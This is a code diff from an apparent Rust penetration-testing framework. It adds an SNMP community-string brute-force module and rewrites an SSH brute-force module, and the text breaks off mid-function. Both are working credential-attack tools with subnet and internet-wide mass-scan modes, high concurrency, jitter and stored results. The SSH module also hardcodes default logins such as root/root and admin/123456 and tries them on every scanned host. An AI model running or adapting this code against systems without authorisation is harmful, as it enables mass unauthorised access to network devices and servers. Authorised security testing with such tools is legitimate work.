let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
let addr = cap.get(1).unwrap().as_str();
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
}
@@ -0,0 +1,608 @@
use anyhow::{anyhow, Result};
use colored::*;
use std::{
io::Write,
net::{IpAddr, SocketAddr},
sync::Arc,
time::Duration,
};
use crate::utils::{
generate_combos_mode, ComboMode,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
cfg_prompt_port, cfg_prompt_yes_no, load_lines, normalize_target,
};
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "SNMP Brute Force".to_string(),
description: "Brute-force SNMPv1/v2c community strings. Discovers read/write community strings on network devices with concurrent scanning and subnet/mass scan support.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
/// Prompt for SNMP version, returning 0 for v1 or 1 for v2c.
async fn prompt_snmp_version() -> Result<u8> {
loop {
let input = cfg_prompt_default("snmp_version", "SNMP Version (1 or 2c)", "2c").await?;
match input.trim().to_lowercase().as_str() {
"1" => return Ok(0),
"2c" | "2" => return Ok(1),
_ => crate::mprintln!("Invalid version. Enter '1' or '2c'."),
}
}
}
/// Format SNMP version byte as a display string.
fn version_label(v: u8) -> &'static str {
if v == 0 {
"v1"
} else {
"v2c"
}
}
pub async fn run(target: &str) -> Result<()> {
crate::mprintln!(
"\n{}",
"=== SNMPv1/v2c Brute Force Module ===".bold().cyan()
);
crate::mprintln!("{}", " Community String Discovery Tool".cyan());
crate::mprintln!();
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
// --- Mass scan mode ---
if is_mass_scan_target(target) {
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
let communities_file =
cfg_prompt_existing_file("community_wordlist", "Community string wordlist").await?;
let snmp_version = prompt_snmp_version().await?;
let communities = Arc::new(load_lines(&communities_file)?);
if communities.is_empty() {
return Err(anyhow!("Community wordlist cannot be empty"));
}
let timeout_secs =
cfg_prompt_int_range("timeout", "Timeout (seconds)", 3, 1, 300).await? as u64;
let cfg = MassScanConfig {
protocol_name: "SNMP",
default_port: 161,
state_file: "snmp_hose_state.log",
default_output: "snmp_mass_results.txt",
default_concurrency: 500,
};
return run_mass_scan(target, cfg, move |ip: IpAddr, port: u16| {
let communities = communities.clone();
async move {
let addr = format!("{}:{}", ip, port);
let timeout = Duration::from_secs(timeout_secs);
for community in communities.iter() {
match try_snmp_community(&addr, community, snmp_version, timeout).await {
Ok(true) => {
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
let line = format!("[{}] {}:{}\n", now, ip, community);
crate::mprintln!(
"\r{}",
format!("[+] FOUND: {} -> community: '{}'", addr, community)
.green()
.bold()
);
return Some(line);
}
Ok(false) => {}
Err(_) => return None,
}
}
None
}
})
.await;
}
// --- Subnet scan mode (SNMP-specific, UDP — no TCP pre-check) ---
if is_subnet_target(target) {
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
return run_subnet_scan(target).await;
}
// --- Single-target bruteforce via the generic engine ---
let port = cfg_prompt_port("port", "SNMP Port", 161).await?;
let communities_file =
cfg_prompt_existing_file("community_wordlist", "Community string wordlist file path")
.await?;
let snmp_version = prompt_snmp_version().await?;
let concurrency =
cfg_prompt_int_range("concurrency", "Max concurrent tasks", 50, 1, 1000).await? as usize;
let stop_on_success =
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let output_file =
cfg_prompt_output_file("output_file", "Output file", "snmp_results.txt").await?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let timeout_secs =
cfg_prompt_int_range("timeout", "Timeout (seconds)", 3, 1, 300).await? as u64;
let norm_target = normalize_target(target)?;
let communities = load_lines(&communities_file)?;
if communities.is_empty() {
crate::mprintln!("[!] Community wordlist is empty. Exiting.");
return Ok(());
}
crate::mprintln!(
"{}",
format!("[*] Loaded {} community strings", communities.len()).cyan()
);
crate::mprintln!("[*] SNMP Version: {}", version_label(snmp_version));
// Build combos: empty username, community string as password.
let empty_users = vec![String::new()];
let combos = generate_combos_mode(&empty_users, &communities, ComboMode::Combo);
let config = BruteforceConfig {
target: norm_target.clone(),
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 10,
jitter_ms: 50,
max_retries: 2,
service_name: "snmp",
source_module: "creds/generic/snmp_bruteforce",
};
let timeout = Duration::from_secs(timeout_secs);
// The try_login closure adapts SNMP community-string testing to the
// engine's (target, port, user, password) interface. On success it
// stores the credential with CredType::Key (SNMP community strings
// are keys, not passwords). The engine also stores with
// CredType::Password — a harmless duplicate that keeps the generic
// engine simple.
let result = run_bruteforce(
&config,
combos,
move |target: String, port: u16, _user: String, community: String| {
let timeout = timeout;
async move {
let addr = format!("{}:{}", target, port);
match try_snmp_community(&addr, &community, snmp_version, timeout).await {
Ok(true) => {
// Store with CredType::Key for SNMP semantics
let _ = crate::cred_store::store_credential(
&target,
port,
"snmp",
"",
&community,
crate::cred_store::CredType::Key,
"creds/generic/snmp_bruteforce",
)
.await;
LoginResult::Success
}
Ok(false) => LoginResult::AuthFailed,
Err(e) => LoginResult::Error {
message: e.to_string(),
retryable: true,
},
}
}
},
)
.await?;
// Print results — adapt the engine's generic output for SNMP display
if result.found.is_empty() {
crate::mprintln!("{}", "[-] No valid community strings found.".yellow());
} else {
crate::mprintln!(
"{}",
format!(
"[+] Found {} valid community string(s):",
result.found.len()
)
.green()
.bold()
);
if let Ok(mut file) = std::fs::OpenOptions::new()
.create(true)
.append(true)
.open(&output_file)
{
for (host, _user, community) in &result.found {
crate::mprintln!(" {} -> community: '{}'", host, community);
let _ = writeln!(file, "{} -> community: '{}'", host, community);
}
crate::mprintln!("[+] Results saved to '{}'", output_file);
}
}
Ok(())
}
/// Try an SNMP community string via async UDP (no spawn_blocking overhead).
async fn try_snmp_community(
normalized_addr: &str,
community: &str,
version: u8, // 0 = v1, 1 = v2c
timeout: Duration,
) -> Result<bool> {
let addr: SocketAddr = normalized_addr
.parse()
.map_err(|e| anyhow!("Invalid address '{}': {}", normalized_addr, e))?;
let socket = crate::utils::udp_bind(None).await
.map_err(|e| anyhow!("Failed to bind UDP socket: {}", e))?;
let message = build_snmp_get_request(community, version);
socket
.send_to(&message, &addr)
.await
.map_err(|e| anyhow!("Failed to send SNMP request: {}", e))?;
let mut buf = vec![0u8; 4096];
match tokio::time::timeout(timeout, socket.recv_from(&mut buf)).await {
Ok(Ok((size, _))) => {
let response = &buf[..size];
if size >= 20 && response[0] == 0x30 {
match parse_snmp_response(response) {
Ok(valid) => Ok(valid),
Err(_) => Ok(false),
}
} else {
Ok(false)
}
}
Ok(Err(_)) | Err(_) => Ok(false), // Timeout or recv error = invalid community
}
}
/// Parses SNMP response to check if error status is 0 (noError)
/// Returns Ok(true) if valid, Ok(false) if error status != 0, Err if can't parse
fn parse_snmp_response(response: &[u8]) -> Result<bool> {
if response.len() < 20 || response[0] != 0x30 {
return Err(anyhow!("Invalid SNMP response header"));
}
// Try to find the PDU (GetResponse-PDU = 0xa2)
// The structure is: SEQUENCE (version, community, PDU)
// We need to skip version and community to get to the PDU
let mut pos = 1;
// Skip length of outer SEQUENCE
if pos >= response.len() {
return Err(anyhow!("Response too short"));
}
let (_len, len_bytes) = parse_ber_length(&response[pos..])?;
pos += len_bytes;
// Skip version (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid version field"));
}
pos += 1;
let (vlen, vlen_bytes) = parse_ber_length(&response[pos..])?;
pos += vlen_bytes + vlen;
// Skip community (OCTET STRING)
if pos >= response.len() || response[pos] != 0x04 {
return Err(anyhow!("Invalid community field"));
}
pos += 1;
let (clen, clen_bytes) = parse_ber_length(&response[pos..])?;
pos += clen_bytes + clen;
// Now we should be at the PDU
// GetResponse-PDU = 0xa2, GetRequest-PDU = 0xa0
if pos >= response.len() {
return Err(anyhow!("Response too short for PDU"));
}
let pdu_tag = response[pos];
if pdu_tag != 0xa2 && pdu_tag != 0xa0 {
// Not a GetResponse or GetRequest, might be an error
return Ok(false);
}
pos += 1;
let (_pdu_len, pdu_len_bytes) = parse_ber_length(&response[pos..])?;
pos += pdu_len_bytes;
// PDU structure: request-id, error-status, error-index, variable-bindings
// Skip request-id (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid request-id field"));
}
pos += 1;
let (rid_len, rid_len_bytes) = parse_ber_length(&response[pos..])?;
pos += rid_len_bytes + rid_len;
// Read error-status (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid error-status field"));
}
pos += 1;
let (es_len, es_len_bytes) = parse_ber_length(&response[pos..])?;
if es_len == 0 || pos + es_len_bytes + es_len > response.len() {
return Err(anyhow!("Invalid error-status length"));
}
// Read the error status value
let error_status = if es_len == 1 {
response[pos + es_len_bytes] as u32
} else {
// Multi-byte integer (shouldn't happen for error status, but handle it)
let mut val = 0u32;
for i in 0..es_len {
val = (val << 8) | (response[pos + es_len_bytes + i] as u32);
}
val
};
// Error status 0 = noError, anything else is an error
Ok(error_status == 0)
}
/// Parses BER length field
/// Returns (length_value, number_of_bytes_consumed)
fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
if data.is_empty() {
return Err(anyhow!("Empty length field"));
}
let first_byte = data[0];
if (first_byte & 0x80) == 0 {
// Short form: single byte
Ok((first_byte as usize, 1))
} else {
// Long form: first byte indicates number of length bytes
let num_bytes = (first_byte & 0x7F) as usize;
if num_bytes == 0 {
return Err(anyhow!("Indefinite length not supported"));
}
if num_bytes > 4 {
return Err(anyhow!("Length field too large"));
}
if data.len() < 1 + num_bytes {
return Err(anyhow!("Not enough bytes for length field"));
}
let mut length = 0usize;
for i in 0..num_bytes {
length = (length << 8) | (data[1 + i] as usize);
}
Ok((length, 1 + num_bytes))
}
}
/// Builds a simple SNMP GET request packet manually
/// This is a simplified implementation that creates a basic SNMPv1/v2c GET request
fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
// Build components first, then assemble with proper length encoding
// OID for sysDescr: 1.3.6.1.2.1.1.1.0
let oid_encoded = encode_oid_value(&[1, 3, 6, 1, 2, 1, 1, 1, 0]);
let oid_tlv = build_tlv(0x06, &oid_encoded); // 0x06 = OBJECT IDENTIFIER
// NULL value
let null_tlv = vec![0x05, 0x00]; // NULL type, length 0
// VarBind: SEQUENCE of (OID, NULL)
let mut var_bind = Vec::new();
var_bind.extend_from_slice(&oid_tlv);
var_bind.extend_from_slice(&null_tlv);
let var_bind_tlv = build_tlv(0x30, &var_bind); // 0x30 = SEQUENCE
// VarBindList: SEQUENCE of VarBind
let mut var_bind_list_content = Vec::new();
var_bind_list_content.extend_from_slice(&var_bind_tlv);
let var_bind_list_tlv = build_tlv(0x30, &var_bind_list_content); // 0x30 = SEQUENCE
// Request ID
let request_id_tlv = encode_integer_tlv(1u32);
// Error status (0 = noError)
let error_status_tlv = encode_integer_tlv(0u32);
// Error index (0 = noError)
let error_index_tlv = encode_integer_tlv(0u32);
// PDU: GetRequest-PDU
let mut pdu_content = Vec::new();
pdu_content.extend_from_slice(&request_id_tlv);
pdu_content.extend_from_slice(&error_status_tlv);
pdu_content.extend_from_slice(&error_index_tlv);
pdu_content.extend_from_slice(&var_bind_list_tlv);
let pdu_tlv = build_tlv(0xa0, &pdu_content); // 0xa0 = GetRequest-PDU
// Version
let version_tlv = encode_integer_tlv(version as u32);
// Community string
let community_bytes = community.as_bytes();
let community_tlv = build_tlv(0x04, community_bytes); // 0x04 = OCTET STRING
// SNMP Message: SEQUENCE of (version, community, PDU)
let mut message_content = Vec::new();
message_content.extend_from_slice(&version_tlv);
message_content.extend_from_slice(&community_tlv);
message_content.extend_from_slice(&pdu_tlv);
build_tlv(0x30, &message_content) // 0x30 = SEQUENCE
}
/// Builds a TLV (Type-Length-Value) structure
fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
let mut result = Vec::new();
result.push(tag);
let length = value.len();
if length < 128 {
// Short form: single byte length
result.push(length as u8);
} else {
// Long form: first byte is 0x80 | num_bytes, followed by length bytes (big-endian)
// Calculate how many bytes we need for the length
let mut len = length;
let mut num_bytes = 0;
let mut len_bytes = Vec::new();
while len > 0 {
len_bytes.push((len & 0xFF) as u8);
len >>= 8;
num_bytes += 1;
}
// Reverse to get big-endian representation
len_bytes.reverse();
// First byte: 0x80 | number of length bytes
result.push(0x80 | (num_bytes as u8));
result.extend_from_slice(&len_bytes);
}
result.extend_from_slice(value);
result
}
/// Encodes an integer as a TLV (signed integer, but we use it for unsigned values)
fn encode_integer_tlv(value: u32) -> Vec<u8> {
let mut bytes = Vec::new();
if value == 0 {
bytes.push(0);
} else {
let mut val = value;
// Encode as big-endian, using minimum number of bytes
// For values that would have high bit set, we need an extra zero byte
// to ensure it's interpreted as positive
while val > 0 {
bytes.push((val & 0xFF) as u8);
val >>= 8;
}
bytes.reverse();
// If high bit is set, prepend 0x00 to make it positive
if bytes[0] & 0x80 != 0 {
bytes.insert(0, 0x00);
}
}
build_tlv(0x02, &bytes) // 0x02 = INTEGER
}
/// Encodes OID value (without the TLV wrapper)
fn encode_oid_value(oid: &[u32]) -> Vec<u8> {
let mut encoded = Vec::new();
if oid.len() >= 2 {
// First two sub-identifiers are encoded as: first * 40 + second
encoded.push((oid[0] * 40 + oid[1]) as u8);
for &sub_id in &oid[2..] {
encode_sub_id(sub_id, &mut encoded);
}
}
encoded
}
/// Encodes a sub-identifier using base-128 encoding
fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
let mut bytes = Vec::new();
if value == 0 {
bytes.push(0);
} else {
while value > 0 {
bytes.push((value & 0x7F) as u8);
value >>= 7;
}
bytes.reverse();
// Set high bit on all but last byte
for i in 0..bytes.len() - 1 {
bytes[i] |= 0x80;
}
}
output.extend_from_slice(&bytes);
}
async fn run_subnet_scan(target: &str) -> Result<()> {
let port = cfg_prompt_port("port", "SNMP Port", 161).await?;
let communities_file =
cfg_prompt_existing_file("community_wordlist", "Community string wordlist").await?;
let snmp_version = prompt_snmp_version().await?;
let communities = load_lines(&communities_file)?;
if communities.is_empty() {
return Err(anyhow!("Community wordlist empty"));
}
let concurrency =
cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let timeout_secs =
cfg_prompt_int_range("timeout", "Timeout (seconds)", 3, 1, 300).await? as u64;
let output_file = cfg_prompt_output_file(
"output_file",
"Output result file",
"snmp_subnet_results.txt",
)
.await?;
// SNMP uses community strings, not user/pass pairs.
// Map: empty username, community string as password.
let empty_users = vec![String::new()];
let timeout = Duration::from_secs(timeout_secs);
run_subnet_bruteforce(
target,
port,
empty_users,
communities,
&SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "snmp",
jitter_ms: 50,
source_module: "creds/generic/snmp_bruteforce",
skip_tcp_check: true, // SNMP is UDP — no TCP pre-check
},
move |ip: IpAddr, port: u16, _user: String, community: String| {
let timeout = timeout;
async move {
let addr = format!("{}:{}", ip, port);
match try_snmp_community(&addr, &community, snmp_version, timeout).await {
Ok(true) => {
// Store with CredType::Key for SNMP semantics
let _ = crate::cred_store::store_credential(
&ip.to_string(),
port,
"snmp",
"",
&community,
crate::cred_store::CredType::Key,
"creds/generic/snmp_bruteforce",
)
.await;
LoginResult::Success
}
Ok(false) => LoginResult::AuthFailed,
Err(e) => LoginResult::Error {
message: e.to_string(),
retryable: false, // UDP timeout = host not responding
},
}
}
},
)
.await
}
+342 -281
View File
@@ -1,311 +1,372 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use ssh2::Session;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::{TcpStream, ToSocketAddrs},
path::{Path, PathBuf},
sync::Arc,
io::Write,
net::{IpAddr, ToSocketAddrs},
time::Duration,
};
use std::sync::atomic::{AtomicBool, Ordering};
use regex::Regex;
use tokio::{sync::Mutex, task::spawn_blocking, time::{sleep, Duration}};
use tokio::{
task::spawn_blocking,
time::timeout,
};
use crate::utils::{
normalize_target,
load_lines, get_filename_in_current_dir,
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_port,
cfg_prompt_output_file,
};
use crate::utils::{
BruteforceConfig, LoginResult, SubnetScanConfig,
generate_combos_mode, parse_combo_mode, load_credential_file,
run_bruteforce, run_subnet_bruteforce,
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
};
// Constants
const DEFAULT_SSH_PORT: u16 = 22;
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("root", "root"),
("admin", "admin"),
("user", "user"),
("guest", "guest"),
("root", "123456"),
("admin", "123456"),
("root", "password"),
("admin", "password"),
("root", ""),
("admin", ""),
("ubuntu", "ubuntu"),
("test", "test"),
("oracle", "oracle"),
];
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "SSH Brute Force".to_string(),
description: "Brute-force SSH authentication using username/password wordlists. Supports default credential testing, combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
pub async fn run(target: &str) -> Result<()> {
println!("=== SSH Brute Force Module ===");
println!("[*] Target: {}", target);
crate::mprintln!("{}", "=== SSH Brute Force Module ===".bold());
crate::mprintln!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("SSH Port", "22")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
// --- Mass Scan Mode ---
if is_mass_scan_target(target) {
crate::mprintln!("{}", format!("[*] Target: {} — Mass Scan Mode", target).yellow());
return run_mass_scan(target, MassScanConfig {
protocol_name: "SSH",
default_port: 22,
state_file: "ssh_hose_state.log",
default_output: "ssh_mass_results.txt",
default_concurrency: 200,
}, move |ip, port| {
async move {
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
return None;
}
let addr = format!("{}:{}", ip, port);
let tcp = match crate::utils::blocking_tcp_connect(
&addr.parse().ok()?, std::time::Duration::from_secs(5)
) {
Ok(t) => t,
Err(_) => return None,
};
let mut sess = ssh2::Session::new().ok()?;
sess.set_tcp_stream(tcp);
sess.set_timeout(10000);
if sess.handshake().is_err() { return None; }
// Try common defaults
let creds = [("root","root"),("admin","admin"),("root",""),("admin",""),("root","123456"),("admin","password")];
for (user, pass) in creds {
if sess.userauth_password(user, pass).is_ok() && sess.authenticated() {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
}
}
None
}
}).await;
}
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
let port: u16 = cfg_prompt_port("port", "SSH Port", DEFAULT_SSH_PORT).await?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ssh_brute_results.txt")?)
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
input.parse::<usize>().unwrap_or(10).max(1).min(256)
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output result file", "ssh_subnet_results.txt").await?;
let connection_timeout: u64 = {
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "5").await?;
input.parse::<u64>().unwrap_or(5).max(1).min(60)
};
let timeout_duration = Duration::from_secs(connection_timeout);
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "ssh",
jitter_ms: 50,
source_module: "creds/generic/ssh_credcheck",
skip_tcp_check: false,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
let timeout_dur = timeout_duration;
async move {
let addr = format!("{}:{}", ip, port);
match try_ssh_login(&addr, &user, &pass, timeout_dur).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => LoginResult::Error { message: e.to_string(), retryable: true },
}
}
}).await;
}
// --- Single Target Mode ---
let port: u16 = cfg_prompt_port("port", "SSH Port", DEFAULT_SSH_PORT).await?;
// Ask about default credentials
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
let usernames_file = if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let connect_addr = normalize_target(target, port)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
println!("\n[*] Starting brute-force on {}", connect_addr);
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let passwords = load_lines(&passwords_file)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let users = Arc::new(users);
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
let mut user_cycle_idx = 0usize;
for pass in passwords {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let selected_users: Vec<String> = if combo_mode {
users.iter().cloned().collect()
} else {
if users.is_empty() {
Vec::new()
} else {
let user = users[user_cycle_idx % users.len()].clone();
user_cycle_idx += 1;
vec![user]
}
};
if selected_users.is_empty() {
continue;
}
for user in selected_users {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let addr_clone = connect_addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ssh_login(&addr_clone, &user_clone, &pass_clone).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
found_clone
.lock()
.await
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
sleep(Duration::from_millis(10)).await;
}));
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
None
};
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
}
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
input.parse::<usize>().unwrap_or(10).max(1).min(256)
};
let connection_timeout: u64 = {
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "5").await?;
input.parse::<u64>().unwrap_or(5).max(1).min(60)
};
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
let max_retries: usize = if retry_on_error {
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
input.parse::<usize>().unwrap_or(2).max(1).min(10)
} else {
0
};
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(cfg_prompt_output_file("output_file", "Output file", "ssh_brute_results.txt").await?)
} else {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let connect_addr = normalize_target(&format!("{}:{}", target, port)).unwrap_or_else(|_| format!("{}:{}", target, port));
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
// Load wordlists
let mut usernames = Vec::new();
if let Some(ref file) = usernames_file {
usernames = load_lines(file)?;
if usernames.is_empty() {
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
} else {
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
}
}
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
} else {
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
}
}
// Add default credentials if requested
if use_defaults {
for (user, pass) in DEFAULT_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
crate::mprintln!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available"));
}
if passwords.is_empty() {
return Err(anyhow!("No passwords available"));
}
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let timeout_duration = Duration::from_secs(connection_timeout);
let try_login = move |t: String, p: u16, user: String, pass: String| {
let timeout_dur = timeout_duration;
async move {
let addr = normalize_target(&format!("{}:{}", t, p))
.unwrap_or_else(|_| format!("{}:{}", t, p));
match try_ssh_login(&addr, &user, &pass, timeout_dur).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => LoginResult::Error { message: e.to_string(), retryable: true },
}
}
};
let result = run_bruteforce(&BruteforceConfig {
target: target.to_string(),
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
max_retries,
service_name: "ssh",
jitter_ms: 50,
source_module: "creds/generic/ssh_credcheck",
}, combos, try_login).await?;
result.print_found();
if let Some(ref path) = save_path {
result.save_to_file(path)?;
}
// Unknown / errored attempts
if !result.errors.is_empty() {
crate::mprintln!(
"{}",
format!(
"[?] Collected {} unknown/errored SSH responses.",
result.errors.len()
)
.yellow()
.bold()
);
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
let default_name = "ssh_unknown_responses.txt";
let fname = cfg_prompt_output_file(
"unknown_responses_file",
"What should the unknown results be saved as?",
default_name,
).await?;
let filename = get_filename_in_current_dir(&fname);
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
match opts.open(&filename) {
Ok(mut file) => {
writeln!(
file,
"# SSH Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in &result.errors {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
crate::mprintln!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
crate::mprintln!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<bool> {
async fn try_ssh_login(
normalized_addr: &str,
user: &str,
pass: &str,
timeout_duration: Duration,
) -> Result<bool> {
let user_owned = user.to_string();
let pass_owned = pass.to_string();
let addr_owned = normalized_addr.to_string();
let result = spawn_blocking(move || {
match TcpStream::connect(&addr_owned) {
Ok(tcp) => {
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(&user_owned, &pass_owned) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
